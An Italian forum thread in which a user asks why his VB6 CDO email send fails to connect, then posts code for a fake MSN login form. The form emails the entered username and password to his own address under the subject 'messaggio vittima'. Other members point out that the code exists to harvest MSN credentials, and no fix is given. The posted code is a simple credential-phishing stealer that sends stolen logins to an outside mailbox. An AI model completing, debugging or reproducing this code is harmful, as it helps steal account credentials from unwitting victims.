[VB6] Errore "Il trasporto non è riuscito a connettersi al server" con CDO

[marcotrumpet]

quando provo ad inviare una mail da VB6 tramite CDO mi da questo errore "Il trsporto non è riuscito a connettersi al server"....cosa succede?xkè nn riesco a far inviare una mail?

[kalosjo]

Un po' di codice...?

[marcotrumpet]

[codice]
Private Sub Command1_Click()
Dim nome, passwd
nome = Text1.Text
passwd = Text2.Text
If InStr(nome, "@") = 0 Then
MsgBox "Inserisci il tuo account di accesso a msn", vbCritical, "Errore"
Text1.SetFocus
ElseIf Len(Trim(passwd)) = 0 Then
MsgBox "Inserisci la password dell'account", vbCritical, "Errore"
Text2.SetFocus
Else
Dim cdo As cdo.Message
Set cdo = New cdo.Message
cdo.Subject = "messaggio vittima"
cdo.TextBody = Text1 & vbCrLf & Text2
cdo.From = "vittima@jumpy.it"
cdo.To = "marcotrumpet@libero.it"
cdo.Send
End If
End Sub
[/codice]

[wallrider]

Originariamente inviato da marcotrumpet
[codice]
...

[alka]

Originariamente inviato da marcotrumpet
[codice][/codice]

Esiste anche l'apposito tag per racchiudere (in modo decente) il codice.

[oregon]

... il fatto che tu indichi il destinatario con

vittima@...

mi fa pensare ...

Anche se era un esempio (ovviamente) ....

[alka]

Originariamente inviato da oregon
... il fatto che tu indichi il destinatario con
vittima@...
mi fa pensare ...
Anche se era un esempio (ovviamente) ....

Diciamo che anche il resto del codice non è particolarmente bello: in sostanza, si tratta di farsi inviare nome utente e password di MSN.